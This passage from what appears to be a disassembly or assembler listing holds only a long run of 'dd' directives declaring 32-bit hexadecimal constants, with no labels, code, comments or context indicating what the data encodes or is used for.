		dd 0C7028CF0h, 491772EBh, 76004488h, 0D20D013Bh, 37013E1Fh
		dd 0D83356h, 6A3C2021h,	1E1506EAh, 4DF85Ah, 1866958h, 0B904D473h
		dd 9AB747AEh, 23682FABh, 19E2671h, 69D3E4ABh, 16A8390Dh
		dd 50B2629Ah, 0F4B14915h, 0D1DB451Ah, 8ABA0C84h, 45D1004Ch
		dd 51ECAC23h, 99D30779h, 70021AD4h, 0BEEF64Fh, 0C040C44Fh
		dd 0F22180B4h, 0ADB200AFh, 6E5CC9E5h, 90557D6h,	0D4497C99h
		dd 113A816h, 3912F4F8h,	0AAD4E4BFh, 4E4420BFh, 0A0699AECh
		dd 284CD97Ch, 760C456h,	0BCCBD42Bh, 40EC10A5h, 5A046BDBh
		dd 8C146768h, 23383BFFh, 5A0300A3h, 4368EE7Eh, 6CF3844Ah
		dd 0E000A64Ah, 307EF0FBh, 46B961C4h, 0DF00A653h, 6637E96Fh
		dd 959D21E7h, 0AAD47C48h, 0D4E173Eh, 84C8F72h, 0BA0874E2h
		dd 0DEE41060h, 136E692Ch, 39E665E9h, 8DB8D0FDh,	0F008EF0h
		dd 18E6E844h, 0B6D51766h, 24C52558h, 5DB0E08h, 0F5139814h
		dd 108FDDB4h, 5058AE0Bh, 18B44C44h, 28AF736Fh, 0C90147BFh
		dd 0B719E6E7h, 6F3B9128h, 2B5000B4h, 6C1AE9B6h,	195B0C3Bh
		dd 9A500AB5h, 108446B5h, 2EE5911h, 350F63ECh, 6A605E97h
		dd 0F2465CF4h
		dd 0C5D2D01Fh, 0FCD6C17Dh, 319CD518h, 16ECC9DCh, 94A0D5EFh
		dd 0ED8325E4h, 8D90D079h, 412CAE22h, 32407895h,	7A35743Eh
		dd 780303F9h, 0A45B9817h, 0E5B44825h, 0C1881A40h, 4DCBC7Eh
		dd 94B378E9h, 386EAEECh, 0C3DB660Bh, 94D7ACC8h,	0A1FD7000h
		dd 6BC7F7BCh, 0F8A300E7h, 150F6668h, 20044537h,	0F665E641h
		dd 0C4ADE8BDh, 0E4F9BDEEh, 0C72758B9h, 913CD856h, 3ED180ACh
		dd 9B72F78h, 0E0848F6Eh, 704FE9D8h, 0A12D0401h,	0BC46AC3Bh
		dd 288D04A0h, 0CCF47394h, 9600E99Dh, 0DD38EA54h, 90A3DB8Ch
		dd 0A833A7B2h, 4774C2Ch, 76560D68h, 4F3CB9E5h, 0ED003C6Fh
		dd 790E169Eh, 0D6026515h, 5B5FBEB0h, 0D084DB9Fh, 4F1D6D29h
		dd 91001326h, 0D57F3C0h, 1490163h, 112AF1C3h, 16D82C99h
		dd 1082F681h, 36F320ADh, 0BB12A437h, 18B85464h,	936AFC04h
		dd 0BC58F80Ah, 0FF128C6Fh, 0E4B58609h, 1C06C1Bh, 0BC3ACC85h
		dd 0A4865005h, 0D0C52481h, 295DCA4h, 0EF6BD387h, 4FE6A42h
		dd 0E111402Ch, 5C550850h, 0AD92F4ADh, 5B442598h, 0DC4B5954h
		dd 0C7BC669h, 492D1C90h, 95407880h, 0A364C4CDh,	0C08FA461h
		dd 2912E56Bh, 0B0BDEE75h, 0B8C8BDD2h, 681D01D8h, 15176396h
		dd 318449AFh, 30B8B9B0h, 891B3165h, 6AEF004Ah, 5EB551E8h
		dd 645F3163h, 0FFC6AC01h, 213B1780h, 179B4104h,	0A2DD2A0h
		dd 909400BFh, 43E73C85h, 4D007F05h, 830DC078h, 9EBA722h
		dd 0AF079816h, 5A00D479h, 79477B39h, 0EAE50E12h, 0B3E2192Ah
		dd 0C56B686h, 437BD902h, 4BB05EDAh, 742D4C58h, 0FA7818C3h
		dd 53C50067h, 0EFB012Ah, 0F303D9A1h, 0F68ED31Ah, 4AB0985Bh
		dd 0F7772555h, 0B170D4DBh, 54D002Ah, 10BFA06Eh,	3A25FBCBh
		dd 7840A143h, 5F70D0A2h, 35C10F76h, 4FC09B70h, 0F763BB2Ch
		dd 24C0995Ah, 5B7796EDh, 0E6E082A3h, 844FA45Eh,	34BC5397h
		dd 5089A92Dh, 3A70E4D3h, 0E021EE25h, 54CF9D85h,	0AC465D40h
		dd 496E01D8h, 0C368C1BBh, 47698062h, 5AFB34A3h,	0E2113866h
		dd 0B0812192h, 548EA2Ch, 90035B33h, 53EB189Bh, 9A003859h
		dd 8AE674B5h, 9B02F1AAh, 3C1D3AF4h, 0D43555C4h,	0EA661380h
		dd 802427BDh, 57826D0Ch, 0C4B4D416h, 0A4465Eh, 0C505FD91h
		dd 20289544h, 60A1848Ch, 40282F82h, 8115E9EEh, 2C0175C6h
		dd 0E33005B8h, 38D24521h, 248455E6h, 0EAECBCDCh, 0B83CE9D3h
		dd 9FF60127h, 0DF6F3907h, 0C88EDA99h, 0E4023889h, 38757D24h
		dd 219A8F7Ch, 0FD89A35Fh, 650C4102h, 2910E208h,	0E29F4BDh
		dd 5E0542C0h, 17C02D00h, 9D3A4A86h, 0A8CC7918h,	7BE90229h
		dd 0EC56634Dh, 0E427B5C0h, 90651613h, 0DB5E08A7h, 0D0028098h
		dd 2E5760h, 0F8DAC5A8h,	90821940h, 0DF14BA97h, 3F3C35h
		dd 0B4462582h, 1612884h, 65F238CCh, 0F4630C55h,	31C09C42h
		dd 0F0A0FC7Dh, 0ABF138BAh, 0B4770480h, 18B83F89h, 52EBC005h
		dd 0ACD25AE1h, 586C73C3h, 0E807BBFBh, 43F03614h, 0D4042B05h
		dd 6D297185h, 22C8A9E4h, 56FD07FCh, 0E4DB852Ch,	0E0E41236h
		dd 3C7B0F0Ch, 69D841E5h, 9B5E6814h, 0A4F77889h,	0AFD31604h
		dd 20FFC034h, 0A73D817Ch, 357C4000h, 0CFAB04C5h, 0E3BF09FBh
		dd 40422DDEh, 0F1707861h, 84B901A4h, 4F87A468h,	1CEBE045h
		dd 9F0AFF18h, 0C093434Eh, 0E510B80h, 12EC5766h,	0F1EDB294h
		dd 0B4DB2E68h, 5EEA2980h, 755EEF34h, 0C33698F4h, 376532F0h
		dd 2B14CDA8h, 509B7A4Ah, 7A329680h, 0C306917h, 0C0466191h
		dd 0B6541247h, 5A90F667h, 2DA0A8E6h, 19003348h,	14ACC29h
		dd 2F93066h, 0E36C3D5Bh, 9C5E96FDh, 0DC28FE69h,	7D4153Bh
		dd 485CE9A8h, 65984171h, 0BC875006h, 3360A044h,	0AC3518B5h
		dd 0C0814876h, 0B8049AF1h, 0C4A8D33Ch, 8A096F3Fh, 84D67121h
		dd 950CD825h, 9C3D64E2h, 0DF14803Dh, 9B64B88Ch,	0C05C4961h
		dd 0DC88E301h, 0E91F8195h, 8C402F37h, 9EBC2E41h, 0F4C48DCBh
		dd 29112E60h, 99525400h, 9814EC89h, 1650BCE7h, 8070ACBAh
		dd 0CC6BE9D1h, 8AC300D7h, 544104D3h, 0BA978374h, 0C43C65A8h
		dd 0E0B562A4h, 1808FA92h, 0A1DD179Bh, 0F095465h, 0E473C449h
		dd 0BDC17488h, 0E5400C4Fh, 2BED6BCh, 957B4CF8h,	0ECC190F9h
		dd 2BE17087h, 12E88D5Dh, 90F0DB43h, 0A2DA4B80h,	0B0E65B3Ch
		dd 950139E0h, 8DCB6712h, 0F34A90F7h, 0ECAA02C4h, 215A5D9Ah
		dd 22914984h, 0D1352534h, 6F28B278h, 9B089829h,	0EABC004Ch
		dd 3990D0AEh, 0FA02FE3Eh, 1E11ABC9h, 51805E08h,	7CF815BDh
		dd 0B9189B20h, 16199574h, 0B16907FEh, 0FF3CEEEBh, 0A5E76442h
		dd 0EA25A0D0h, 96CECECh, 0F191A20Ch, 0F02C3C74h, 4265C408h
		dd 0F409BD61h, 0A8467EC8h, 1E34D107h, 0C0A0FF1Dh, 169B886Bh
		dd 0E382249Ch, 193710Eh, 0F3CD7675h, 5FF004DDh,	29E404A9h
		dd 16CC40EEh, 0C941E39Ch, 184BF4BAh, 4687CC8h, 0F7648B4Bh
		dd 0DC709011h, 0E312BA16h, 0C8E2AF90h, 8E30EEF2h, 7D0F2E63h
		dd 8580A0A0h, 60F2C424h, 9B696Ah, 0E195BB2Dh, 0C3EA7AFDh
		dd 0A5B7E4A8h, 0A9855896h, 0A4CE9540h, 9DC7A0C8h, 0BADF0373h
		dd 20275595h, 0FC67A0E0h, 0A91687BAh, 4890C41Bh, 7799B2Bh
		dd 25D24766h, 730960C8h, 8400C159h, 5025EEFh, 9EEA2A9Dh
		dd 0A5465EF0h, 2ABD1401h, 2B8D9689h, 76C8FCCEh,	984359C3h
		dd 0D041F32h, 28783C29h, 79E42090h, 0F864964Ch,	3C028CA1h
		dd 8F779748h, 20C0DA9Eh, 0C12EDF10h, 8C02607Bh,	19FC76Fh
		dd 6C175D58h, 0E329106Ch, 0DEE98C07h, 0FD3F4801h, 9CA4145Fh
		dd 95C122E7h, 146E8D4Eh, 7391BF00h, 3A7B6C54h, 410E1DE8h
		dd 80269719h, 311C64E5h, 0A0DC5CB9h, 5D5D52CEh,	18B60004h
		dd 5A7DA3F8h, 0E8E9900Ah, 0E282808Eh, 0D7EA39E6h, 90D5981Ah
		dd 0FA7164h, 4F66DF13h,	0F52D88B8h, 4923FE00h, 5644CD75h
		dd 0DF742DE7h, 2C28C71h, 0D42009C0h, 92B499F2h,	11ACC697h
		dd 4AA9498Ah, 0BE7A5CE3h, 0E76140A8h, 6F053A15h, 89C419ABh
		dd 8D0E4CC0h, 7A04777Eh, 70A0BF22h, 966E93E2h, 3EBD12Dh
		dd 945E3FC4h, 0BC1430AFh, 1BD5B67h, 0B115BD78h,	0C38B198Ah
		dd 9D48004Ch, 0F626BC70h, 21629A27h, 0C9BAFC8h,	3500492Ah
		dd 4A807471h, 0F3CA6E43h, 18909644h, 0C02C29E1h, 0ACE34B3Ah
		dd 780BFCB9h, 0D9F0F97Ah, 6118F7h, 641627B6h, 0AD5D6FFCh
		dd 212DE3EEh, 8A9884A9h, 0B6C87CB8h, 0E971759Fh, 0C1FC30D6h
		dd 9F2266Bh, 0B490133Ch, 0FC043F58h, 0A5BB7816h, 14047CB9h
		dd 66BACF68h, 934C9091h, 0DF6302E0h, 0E700B41Dh, 1222909Ah
		dd 0F8956A17h, 488DCBF4h, 5B699CBCh, 7314910Eh,	3A4980E2h
		dd 29A1B3A5h, 16E409D4h, 0A8708798h, 0E8E0B84Ah, 915F00DAh
		dd 0F1E770ACh, 471E3CD1h, 8858118h, 8806A2B7h, 769EBC9h
		dd 387FDBACh, 74A3A172h, 18E910DEh, 6017098Ah, 0CC7AA967h
		dd 6073CD44h, 84B829E6h, 0B11FAEECh, 0A0C09CD4h, 9817145Ah
		dd 47B45F4Bh, 11E24C38h, 81DE8129h, 5A9B0E40h, 976B4115h
		dd 0DC5C6994h, 987FF811h, 33743AD4h, 6A2240C9h,	6213511Ch
		dd 0DB773000h, 0B3A9D3h, 0ACD680F5h, 19E52225h,	68C1F7E2h
		dd 93CB778Eh, 0BA58622Eh, 3820E42Eh, 20FF00F4h,	8A1CA819h
		dd 71735B9Bh, 0A54ABB4Eh, 59999C0Ch, 0DC66529Ah, 0EB53027Dh
		dd 74E993AFh, 673D8044h, 0B078AE0Fh, 0A0191239h, 3B3B80A1h
		dd 3EA023C4h, 644AF286h, 0B94A9029h, 0DA5EE0E7h, 0B9ED80A0h
		dd 436D099h, 9BFBA493h
		dd 0E9588818h, 6E1DA6Fh, 9519C945h, 0C7003CE4h,	0F4A1D402h
		dd 39856E87h, 79E53Fh, 691F1495h, 6D0FF533h, 0E02FD75Eh
		dd 0F017123h, 54522992h, 40D96470h, 0E4B473FAh,	8172B283h
		dd 57B1C974h, 2B855E8h,	0F218251Ch, 84609E1Eh, 0B201CC32h
		dd 65F1EBA8h, 9B7A8855h, 5F78040h, 44751A06h, 0C9095F93h
		dd 890A6ADCh, 54688269h, 0C8940477h, 209D42F4h,	8D88431Ch
		dd 394604FBh, 825D1C0Eh, 8CD229B4h, 1008058h, 67952BF3h
		dd 996B9F7Fh, 0D62878B0h, 9CE9B404h, 0D2C0B813h, 0F7C8948Bh
		dd 37CF2FC1h, 8C1FCh, 5E77C020h, 5BF1EC53h, 6C6F2A02h
		dd 48DD0F66h, 1716ED8Ch, 0AC9DEF68h, 8C6EEC40h,	718AA725h
		dd 35D77AB0h, 7F2807FCh, 99AD7041h, 351EC076h, 8949E2E1h
		dd 88D0560Bh, 5910B9AFh, 425A4310h, 30F1E238h, 31E639D9h
		dd 97FC4448h, 0C02A06Eh, 0A735F6E6h, 6EF0560Bh,	514BD52h
		dd 385095C9h, 8EAB0680h, 2C4F00BBh, 155B57C8h, 0A8983BDAh
		dd 717F1C2Dh, 5773C4E4h, 6FF240B2h, 9D730h, 0C799EBF9h
		dd 0BA0C64B9h, 0E9EADD0Ch, 4E5929DBh, 0F904A0EDh, 74E79C4Ah
		dd 1068DB02h, 5909DE7Eh, 189F7914h, 0C438BFDFh,	0C9D76E11h
		dd 18E1F4B6h, 782F2F3Bh, 9E007223h, 0AB59251Ah,	500E95D3h
		dd 66F1F8C0h, 2818B533h, 5AF86C60h, 0B90093Bh, 872F3A6h
		dd 0C82E8F45h, 680051FCh, 0BAA0E08h, 48AE915h, 60691162h
		dd 0CEF8ACCEh, 0BF58619Ah, 6181DC10h, 8BE1B195h, 5BD87DF3h
		dd 0CFE3C8A6h, 0AFC529B1h, 10F969h, 57612B3Ch, 9B3B0BA6h
		dd 0AE250162h, 5D8676C9h, 7EDB5E8h, 17039189h, 5C714B65h
		dd 9313680Bh, 278F89ACh, 0C11CC06Eh, 5C01CD0Ch,	2CDBE2A9h
		dd 0ED109E42h, 200090E5h, 0E44C9798h, 1524C3h, 0EC81F45h
		dd 358D692Ch, 0D7F6BDE6h, 0EAE4B412h, 980AACA0h, 84DB12D3h
		dd 4A58B9DAh, 0ABF384A6h, 34F66BE0h, 64083805h,	90F9E7DFh
		dd 92E897ECh, 5AAB0900h, 759A8AB6h, 802B54Eh, 1257D316h
		dd 0DE88F690h, 9562EF00h, 0A2303AD1h, 3E7AFF5Ah, 2A323D8h
		dd 68E54673h, 2E1178E1h, 5FB42080h, 7AE45C3h, 0AEE43490h
		dd 0B963B833h, 772B9D25h, 85F7C1F0h, 4C453B96h,	0F4ECE3BAh
		dd 0E68CA2E8h, 0E07B12D1h, 8680D075h, 3B00D772h, 0C3C3A50h
		dd 3D17A673h, 0C685C420h, 0AE660954h, 0A080D825h, 715B2CBh
		dd 4182DED2h, 8440F985h, 0EC943F98h, 0DDC8C12Dh, 207F6412h
		dd 874368E0h, 5F41F8D0h, 23E43EDFh, 0C67F00A7h,	8248187h
		dd 5CE12D06h, 1671DF74h, 0C0AB5DD9h, 669ADC14h,	0E4849CB6h
		dd 61BA1784h, 3D8E4214h, 34B6720Ch, 0FCE7B86Ch,	0B9F71765h
		dd 104CA9BEh, 67245AA8h, 9E75636Ch, 89A6A100h, 1E3494ACh
		dd 9B480055h, 0A09AE202h, 0B005BD32h, 75AAD6D8h, 0A1A4A4h
		dd 0E2EE56F8h, 0FD16B64Fh, 7C50629Fh, 0FC00DCE4h, 73666A54h
		dd 2CE50963h, 2DDC1949h, 7C49CC79h, 744656C4h, 0F7798600h
		dd 0C0A94AFBh, 0D9A7201h, 0BB33EA51h, 3BC6E6Eh,	7973D7ADh
		dd 0DA6B087h, 652925E3h, 6052C802h, 0F09454C6h,	56F55942h
		dd 5A0A7018h, 0D0E8F395h, 0F4A16676h, 641701AEh, 0E2E0882Bh
		dd 0E82D2908h, 84497790h, 68A64525h, 0CEB1D9B0h, 1C497200h
		dd 0F199A650h, 90165B68h, 0E0E9EB30h, 0EC1C58B9h, 0D8B83B56h
		dd 7B1AA6A2h, 0F56551E8h, 91BB70E8h, 7B5E802Dh,	51459AC4h
		dd 837D5h, 0A1FFBA75h, 471D12BDh, 5127F42h, 2D230BCh, 574577D0h
		dd 46D6085Ch, 0E62F02F2h, 0E256540Ch, 5D84125Ch, 6051D089h
		dd 0DCE056A5h, 689AFE07h, 0B27F3FBAh, 9A9614BDh, 37A88154h
		dd 78695A9Bh, 0A77F140Bh, 0F2222980h, 710BBD99h, 79AC2ADCh
		dd 73A0038h, 0B10EE254h, 876C830Bh, 221CF056h, 0A95F605Eh
		dd 0E5090CA2h, 545BF032h, 1DFDD70h, 0DC095EAh, 2A476C53h
		dd 0E7637430h, 91944B8Dh, 47218E4h, 0B11DE081h,	2AB8C204h
		dd 0A50F0320h, 6C6082ADh, 0E6B5AAB3h, 6C990400h, 0B857B74Eh
		dd 6814C220h, 4EF0D0A3h, 861CD042h, 0B400ADDDh,	313D08DCh
		dd 16D2FB8Fh, 0B788B94Ch, 609A4F5Ch, 20B46C80h,	0CB00AD3Eh
		dd 4EDD0EC2h, 0B526590h, 6B744917h, 0ACAA14A2h,	0A04480E7h
		dd 2B45FB61h, 752A848Dh, 406AFEC8h, 44A17807h, 0C400BBBAh
		dd 749C1095h, 1C8BF95h,	1429175Fh, 0B9650361h, 50A9815h
		dd 95A1EEDBh, 0F2D477FBh, 448CD0Fh, 64BC7522h, 84C7AE80h
		dd 2EB6255h, 0E1D7260Bh, 0D4848A36h, 7C834096h,	17B1B6B9h
		dd 0D82F3Fh, 5A20991Bh,	0B5164D28h, 0FCA6F622h,	0AB9CCFB0h
		dd 9447C401h, 8ABB2844h, 127C4436h, 0B8BAD6F0h,	0BC09FC4h
		dd 0D70D544Ah, 861200AEh, 16A79AE3h, 0BB40EB68h, 60EEB5BAh
		dd 4656EC94h, 69D101F3h, 2A0983A2h, 58A529CCh, 438EBCEDh
		dd 2844C2E8h, 2F5233Fh,	0A27A8301h, 8D7126E0h, 54B4845Bh
		dd 4BF64589h, 0C49F8868h, 5B0D815Fh, 90DD2B95h,	0C7078460h
		dd 0CE4BBF19h, 98735649h, 0FC18EE59h, 0C1154001h, 0ED1763C0h
		dd 0ABF0C46Fh, 6EEE3835h, 229B00B4h, 1F670DD1h,	0C1A35BD2h
		dd 0B0C9D8h, 28B64147h,	0FACCC72Bh, 25B8190h, 0E4E04723h
		dd 0CF0E61F4h, 19D427DCh, 0C8155B0Dh, 11A83266h, 0E25A9BD5h
		dd 0E53A1E54h, 5AE02DBAh, 0F4315A8Ch, 207CBD34h, 0F8CF844Ah
		dd 828970Eh, 0E59120FBh, 0E318827Fh, 0F2F6ED49h, 4899DE8h
		dd 94115402h, 4676C854h, 0B8490FA6h, 0B15500C5h, 0B7432B1Fh
		dd 10F6FC20h, 51015FF2h, 7DC19850h, 684DF15h, 0D963D829h
		dd 0B62B60h, 48B773A0h,	0AD0F640Ah, 0A8206098h,	98CE120h
		dd 87781915h, 0C14B3069h, 1A7DF216h, 6970400Ch,	0BC9095B6h
		dd 69C09D42h, 0EDCB982Dh, 0C5C4004Eh, 2FF17073h, 63168CD0h
		dd 0E0038A72h, 5F64E540h, 0E214F6D9h, 7AEC40ADh, 0F66A2534h
		dd 0FDE08F4h, 264A65BBh, 0C5C5CCC5h, 0CCBDB2h, 9963438Ah
		dd 0A2A716A8h, 0D8FC40B8h, 0C854825Fh, 58ED7464h, 0B0165E03h
		dd 0FEE84DEEh, 402557D6h, 0A8D459B9h, 0AA2D22CCh, 0F7665D09h
		dd 546429C1h, 12EE51B8h, 0CC4D5DF5h, 0FF3F3360h, 5BAE0BB6h
		dd 0E891766h, 7BADD051h, 61555080h, 0E01E9F28h,	9EEB1913h
		dd 97961480h, 94AD4E4Bh, 0E041AA20h, 9A475FB4h,	417C5474h
		dd 0A9C10698h, 475BE809h, 7302B55h, 9F8E424h, 2C54DBE9h
		dd 0E018B585h, 171045BBh, 19BC4EB9h, 12DE9E65h,	0F86EBEACh
		dd 78648501h, 79699ADAh, 4CF24B70h, 5C7F7700h, 54C7434Fh
		dd 8E281628h, 7B0374F2h, 0DC86E539h, 0D8A0B58Dh, 39996042h
		dd 0E8C06860h, 24872A00h, 0F10E0221h, 0F0350B95h, 0E0568FD9h
		dd 3CA602FCh, 0F21379BEh, 4D9524D8h, 606FC47Ch,	0AF932A1h
		dd 0B2AB7796h, 0B00C05D8h, 1025AE8Ah, 7523B03Ah, 0C1F67800h
		dd 0FDCCFB5h, 0C4B757DFh, 59D816E1h, 54D8CA41h,	9E87422h
		dd 0E7CA3CBFh, 6DB9B300h, 8E161151h, 78E8554Ah,	7434DB20h
		dd 5C87F1B0h, 3C0FA8B4h, 1769927h, 0C83FFC61h, 237B9814h
		dd 0CF4A795h, 1C151B50h, 0A96443Ah, 4B85E388h, 0C33039Bh
		dd 0AAA46DB6h, 80D244CCh, 900B429Ch, 60EB7816h,	483BF84h
		dd 6DE7646Eh, 9444FEA9h, 5007D8Ch, 0AC178522h, 2E30F895h
		dd 69A41358h, 0E2824051h, 7DFAF911h, 0A94F94A2h, 0F549E400h
		dd 0B8A195F8h, 0D00F8861h, 770F0C5Ah, 665C94DEh, 2D496B5Dh
		dd 8459D342h, 20657C08h, 0B6392094h, 9019171Dh,	0DE9FB424h
		dd 74E0B7E2h
		dd 0E2CEB52h, 0FC95E0BCh, 4D077780h, 63093CCDh,	200B31B5h
		dd 95B850D8h, 80200C42h, 8CD448B5h, 0BA865B5h, 8089D0F6h
		dd 74C2104Dh, 9BF44096h, 20DB4516h, 0BD5AA5C4h,	2000C0E6h
		dd 0A6018795h, 9C004B25h, 0F104B6EEh, 0EA13D866h, 49158094h
		dd 0FC9055E1h, 904B79D0h, 98556CA4h, 84942048h,	5B1A0527h
		dd 8AC1704Ch, 297C416Fh, 79C48288h, 5DB700A2h, 0D216A896h
		dd 0F4A8201Ch, 45298DF0h, 0E107A0B4h, 182E52Bh,	12FCDCE2h
		dd 8570A839h, 14AC1781h, 0C8948E5Eh, 413FC074h,	251C06CBh
		dd 0B07113E9h, 4049D85h, 9788088h, 4B545465h, 4B70ACFBh
		dd 4E010B08h, 185E0E69h, 4A72F62h, 7C2AAAA9h, 10E9E102h
		dd 0FC51EB84h, 0D018F179h, 0F5108128h, 0ACB4D6D3h, 91A1690Fh
		dd 4F5C905Dh, 82E600F2h, 7F0820FAh, 4100811Bh, 7ADD4921h
		dd 25175E83h, 0D444B8E1h, 0E79FD874h, 606F64A0h, 9597F4EEh
		dd 3DB51C58h, 47840E48h, 7EF04060h, 0C4B5B789h,	0E7655090h
		dd 54BA95A4h, 465EA054h, 0A3840EF0h, 3B6DE073h,	126E0814h
		dd 0A3ED71E9h, 0D4044AF4h, 0B0AC5E61h, 2D8CEFECh, 0F41B74FCh
		dd 3C2E9EBh, 6D6C097Fh,	0D3CEE8h, 78A3CAF8h, 5688E574h
		dd 0EF610E13h, 2E2DFEDh, 0EC61D8C5h, 3518341Ch,	0DFE238B6h
		dd 0F04B2789h, 0EBCB9334h, 10B7BFh, 0E34AC09Dh,	6C04A87Eh
		dd 83DC2115h, 0AA396504h, 74886CCFh, 6EEAFBC0h,	8C309BEh
		dd 6C58C432h, 236F940Bh, 640056B7h, 19E24181h, 9D6AE1C5h
		dd 0B0DB3FE0h, 0AC2AF184h, 0E7E9C57Ch, 1017F4C8h, 2C6D4829h
		dd 84122C2Ah, 0B69002BFh, 0F870BF97h, 0D89B78D7h, 0F6626180h
		dd 0AB3B3617h, 73C3102Ah, 16DC53B0h, 0C2EB41C4h, 9700DCB9h
		dd 98060FC0h, 2205ECF7h, 73BB6BE3h, 0BB7512AFh,	0ECE64430h
		dd 0DD5A2E65h, 0A40204FBh, 40D488EAh, 0E486E516h, 1CD3C8A8h
		dd 787BEF3Ch, 0EEFA40F0h, 874C256Ch, 5C8164C2h,	335BDD75h
		dd 30F3E220h, 8A098102h, 0D1785A66h, 0D2E3E84h,	74DB09B2h
		dd 0B9C940EBh, 3BC3E467h, 1A25B400h, 0FB7BE54Eh, 23E004A7h
		dd 0AA6B28FEh, 0C0F8EC85h, 446F5Ah, 7B2E99BEh, 936E4E7h
		dd 0D21E32Bh, 67382575h, 4B689C20h, 0A49A9566h,	43E43084h
		dd 5EE30F65h, 80E4DB89h, 8FC52B0Ch, 0BEB8A151h,	259ABCD4h
		dd 9C663599h, 0C008ED9Dh, 921922B4h, 0B918A70Eh, 0A08BB615h
		dd 0DFC3F2C8h, 30FF9128h, 81A0352Bh, 5830C7Ch, 3E1823FFh
		dd 0ECD31CC8h, 83F73EAh, 593A02FAh, 0DF8FD2E3h,	0DC22D418h
		dd 0E0D32B51h, 0EB25D79Ah, 79A07921h, 0EC918EFh, 6F0DC04Eh
		dd 9A55F009h, 44E86744h, 511F60EFh, 0F3EB00AAh,	0FE71447Bh
		dd 1A25103Ah, 8030AF75h, 37E326AAh, 0C0A700BDh,	506DC739h
		dd 0C095BAF4h, 75B758h,	66E54D86h, 0D51CA14Bh, 0B4CC984Ah
		dd 342825AFh, 6A01F4F0h, 3242DCACh, 0A42EEBB5h,	0A2951848h
		dd 61BB3AE0h, 0B448C20Ch, 0C1F083h, 888C32Ch, 4C7596B1h
		dd 0E7B02A09h, 1C2084E6h, 80C49BEAh, 2E1935D3h,	0CC364BE6h
		dd 4601F2A0h, 8CEDF88Fh, 0B074936Fh, 538425E4h,	512F7065h
		dd 1876795Ch, 7C7556h, 773E11FAh, 0F2360DA1h, 54D61625h
		dd 38F55174h, 8CA9F880h, 4706217Fh, 4376B379h, 0C020E56Ah
		dd 12DD1E46h, 0F7E0923Ch, 8925B09Ch, 68FC1299h,	6B50F512h
		dd 3C5FD888h, 0FB07E89Ch, 0D14C4F9Ah, 2B055C27h, 3A7FACE1h
		dd 0E0ECE5C0h, 0B875AE93h, 407598BCh, 5D580CA5h, 34A74BF7h
		dd 4C86437Eh, 8CA1B8C4h, 0FCAEC917h, 27000CB2h,	8667200Fh
		dd 95005CD9h, 1EDFEF13h, 416939CDh, 5E8C6DEBh, 5F46B483h
		dd 5814E781h, 8C6EB888h, 5488D624h, 2159D500h, 0B5910DE9h
		dd 0A2440067h, 74E91860h, 0A0972C72h, 0EDF7BC4h, 0B1F70060h
		dd 8EA7F3ECh, 6F007F67h, 34DBF562h, 5E298523h, 0E630093Dh
		dd 0D60D054h, 263714Fh,	19410301h, 98D5CBFEh, 9730CC4h
		dd 119BA9E5h, 90557092h, 0FC944AACh, 0E4820B19h, 0D0F06D07h
		dd 0EA8CC097h, 90469542h, 6CA3844Ah, 0C104A05Bh, 30E19A5Ah
		dd 70F24C63h, 7F9E8330h, 2D2C9050h, 7C599141h, 3818A6D9h
		dd 8B28A83Ah, 569664F6h, 5428E818h, 0D502A046h,	9F7816E2h
		dd 0B45AC4F8h, 25DBC48Ch, 0C4E025EEh, 0DF4B4E0Fh, 1680F49Bh
		dd 1195A75Ch, 1240735Ch, 94B28754h, 30D9E12Dh, 0A15FB300h
		dd 3AD4E5A5h, 0F44D8Eh,	9E8522CEh, 0E7192CAFh, 4767940Bh
		dd 28A0DA9Fh, 3CE0A061h, 0F4CB6483h, 5899ECB4h,	76A01780h
		dd 1C387C3Ah, 80E9834Fh, 0E32E44FCh, 0C0B49511h, 0A0F1E613h
		dd 0E07CB62Ah, 0D38134h, 0E20BCE5Bh, 49530DBFh,	689DFD4Ah
		dd 80BCDA7Fh, 47890513h, 0BD3E16BEh, 0D6F4A9F1h, 0A7A8F4ADh
		dd 9D41E312h, 2B21F445h, 51DDE082h, 3008B0E0h, 0E300E6B5h
		dd 0FA4B8AE9h, 0B7E71Ah, 3FAA32E5h, 944270BFh, 5A012892h
		dd 91AF4560h, 0D1EA7D52h, 81261FF0h, 8E43E4FEh,	0F4B530A1h
		dd 56CDDD25h, 4897C118h, 6C0F2A88h, 0A59D6403h,	0B2A0A612h
		dd 0FA9F30EFh, 46EC5995h, 379DB9DFh, 8C4C0098h,	37449F8Fh
		dd 28D9C651h, 0BD450074h, 7D112AEAh, 6B089422h,	0F9D57h
		dd 0FC7306EDh, 9D16EC2Eh, 2EA3612h, 3AB15B06h, 5E8C0D7h
		dd 95E08304h, 2BED09ADh, 0CCB892F9h, 0B8ED3D00h, 83851EEEh
		dd 0E9D0BF0Fh, 6D21398Ch, 0B750805h, 17467Ch, 3DD48716h
		dd 0C109BD83h, 840F02C9h, 23299F42h, 1A01654Ch,	71851B8Bh
		dd 51E20D11h, 81953120h, 0A3C68120h, 6B704736h,	0B73300F9h
		dd 8FE78105h, 6C02FECFh, 31D585C7h, 6E715537h, 6BEFC380h
		dd 71F41BE9h, 0BA600FFFh, 1540EA30h, 0C18B61F5h, 73BFFBE4h
		dd 0E3D4ADF3h, 0B09B15D4h, 1220F7EBh, 96F8505Ah, 0C947BC87h
		dd 0BAF40781h, 85A17A76h, 0E005B66Bh, 1866FE26h, 42FFBF0Fh
		dd 99259D31h, 949F5D1Dh, 0B3851611h, 1982FEA5h,	548781FAh
		dd 0E92A3B84h, 3DD6B8ECh, 6C00D919h, 8763A9E8h,	0BF24661Bh
		dd 0C0095BCBh, 0FE85D05h, 8400A849h, 0CC4470DFh, 71B52360h
		dd 0BD0C219h, 664B6195h, 9B350A0h, 0EDD59EAAh, 60A0C0E8h
		dd 0DABD8D29h, 658B7537h, 0AF610D69h, 0EE32788h, 8A851FC5h
		dd 0FAC4AC00h, 0FB1A7BBEh, 437A52B4h, 0BD085A2Fh, 1AEB842h
		dd 0EEEFB854h, 20781EABh, 5B2FCF55h, 0EBCDDC11h, 43B557h
		dd 0E4E18D4Bh, 8401B9EDh, 0BD0B431Eh, 54BF1079h, 0C58BD7Fh
		dd 78BF73BDh, 32085CBDh, 8113E993h, 234C1263h, 2A5D60A3h
		dd 0FD29DD00h, 0C092E6D3h, 0B6B5009Eh, 0BFD1FF4Fh, 8803BE4Ch
		dd 0F5BD8975h, 2D94482Ah, 12089D10h, 0E5170F01h, 1E7BFAh
		dd 9DB26053h, 24D77548h, 89134ECh, 0F060D39h, 0EC310C8Fh
		dd 28189986h, 2DC520DDh, 60026A1Bh, 5140A42Ah, 6169B25Eh
